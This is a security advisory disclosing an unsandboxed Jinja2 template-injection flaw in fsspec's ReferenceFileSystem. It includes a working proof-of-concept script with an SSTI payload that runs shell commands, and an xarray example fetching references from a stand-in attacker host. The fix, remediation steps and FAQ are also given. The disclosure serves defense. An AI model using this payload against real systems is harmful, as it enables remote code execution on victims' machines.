GHSA-27vj-qcqg-25rc: Code Injection
Summary
fsspec.implementations.reference.ReferenceFileSystem parses a "references" JSON document (Kerchunk format) supplied either inline or via a URL. The parser renders fields from this JSON through un-sandboxed jinja2.Template(...).render(...) calls in three locations. An attacker who controls the JSON document — typically by hosting it at a URL that the victim opens with fsspec.filesystem("reference", fo=URL) or via xarray.opendataset("reference://...") — achieves arbitrary Python code execution on the victim machine, before any data is read.
This mirrors the pattern of CVE-2024-34359 in llama-cpp-python, where externally-sourced template strings were rendered with the default unrestricted Jinja2 environment.
Affected versions
All versions of fsspec from 0.9.0 onward (vulnerable code introduced in commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on the latest released version 2025.10.0.
Affected sinks
All in fsspec/implementations/reference.py:
| Sink | Location | Trigger | |---|---|---| | A — processreferences1.renderjinja | lines 1016-1018 | simpletemplates=False and a refs entry contains {{ | | B — processtemplates (lambda) | lines 1043-1053 | templates dict has values containing {{, invoked later via render context | | C — processgen | lines 1075-1083 | references JSON contains a gen array (always reached, regardless of simpletemplates) |
Sink C is the most severe: it is reached unconditionally for any references JSON that includes a gen field.
The vulnerable code:
python fsspec/implementations/reference.py Sink A @lrucache(1000) def renderjinja(u): return jinja2.Template(u).render(self.templates) # <- unsandboxed
Sink B def processtemplates(self, tmp): ... for k, v in tmp.items(): if "{{" in v: import jinja2 self.templates[k] = lambda temp=v, kwargs: jinja2.Template( temp # <- unsandboxed ).render(kwargs)
Sink C def processgen(self, gens): ... for pr in products: import jinja2 key = jinja2.Template(gen["key"]).render(pr, self.templates) # <- unsandboxed url = jinja2.Template(gen["url"]).render(pr, self.templates) # <- unsandboxed if ("offset" in gen) and ("length" in gen): offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed
Proof of concept (Sink C, minimal)
Save as poc.py:
python import http.server, json, socketserver, threading, time, fsspec from pathlib import Path
PAYLOAD = "{{ joiner.init.globals.os.popen('touch /tmp/fsspecpwned$(whoami)').read() }}" REF = { "version": 1, "templates": {}, "refs": {"x": "x"}, "gen": [{ "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}", "offset": "0", "length": "0", "dimensions": {"i": [0]}, }], }
body = json.dumps(REF).encode() class H(http.server.BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200); self.endheaders(); self.wfile.write(body) def logmessage(self, a, kw): pass
srv = socketserver.TCPServer(("127.0.0.1", 0), H) threading.Thread(target=srv.serveforever, daemon=True).start() url = f"http://127.0.0.1:{srv.serveraddress[1]}/refs.json"
for p in Path("/tmp").glob("fsspecpwned"): p.unlink() try: fsspec.filesystem("reference", fo=url) except Exception as e: print("exception:", e) srv.shutdown() time.sleep(0.3) print("markers:", list(Path("/tmp").glob("fsspecpwned")))
Run:
pip install fsspec aiohttp requests jinja2 python3 poc.py → markers: [PosixPath('/tmp/fsspecpwned<user>')]
End-to-end via xarray (real-world consumer pathway)
python import xarray as xr ds = xr.opendataset( "reference://", engine="zarr", backendkwargs={ "consolidated": False, "storageoptions": { "fo": "http://attacker.example/refs.json", "remoteprotocol": "http", }, }, ) RCE fires before any data is materialised.
Tested on
- fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14 - fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux
Impact
fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk format, widely used in the Pangeo / Earth-observation / climate data-science ecosystem to provide cloud-optimised views of HDF5 / NetCDF / GRIB archives hosted on object storage.
Realistic attack vectors:
- A user opens a community-shared Kerchunk catalogue link via xarray/dask. - A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs. - A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain).
In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.
Suggested fix
Replace jinja2.Template(...) with a shared jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This matches the post-incident hardening applied to llama-cpp-python after CVE-2024-34359.
python At module top def sandboxedenv(): import jinja2.sandbox env = getattr(sandboxedenv, "env", None) if env is None: env = jinja2.sandbox.ImmutableSandboxedEnvironment() sandboxedenv.env = env return env
Then in each sink, replace jinja2.Template(s).render(...) with sandboxedenv().fromstring(s).render(...).
The legitimate Kerchunk template syntax (simple variable substitution like {{ varname }}) continues to work under the sandbox; only the SSTI gadgets (class, init.globals, subclasses, etc.) are refused with jinja2.exceptions.SecurityError.
A complete patch is available on request.
Credit
Reported by Dany.A
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/fsspecto a version that resolves this vulnerability.Fixed in 2026.6.0 - Configuration
Replace the unsandboxed jinja2.Template(...).render(...) calls in all three sinks with _sandboxed_env().from_string(s).render(...), using jinja2.sandbox.ImmutableSandboxedEnvironment; legitimate simple variable substitution continues to work while SSTI gadgets are refused.
fsspec/implementations/reference.py Jinja2 rendering environment = jinja2.sandbox.ImmutableSandboxedEnvironment
Event History
Frequently Asked Questions
Which deployments should be considered exposed?
Treat fsspec versions from 0.9.0 onward as affected, including the confirmed release 2025.10.0. Exposure requires processing a ReferenceFileSystem “references” JSON document, whether supplied inline or obtained from a URL.
What must an attacker cause a victim to do?
The attacker needs control of the references JSON document and must induce the victim to open it, such as through fsspec.filesystem("reference", fo=URL) or xarray.open_dataset("reference://..."). The attack does not require prior privileges, but it does require victim interaction.
Is data access required before code execution can occur?
No. The supplied JSON is rendered through unrestricted Jinja2 template calls during parsing, so arbitrary Python code execution can occur before any referenced data is read.
How can I identify potentially affected workflows?
Look for applications that use fsspec ReferenceFileSystem, the "reference" filesystem protocol, or xarray reference:// URLs with externally sourced Kerchunk-format references JSON. References fetched from attacker-controlled or untrusted URLs are the described attack path.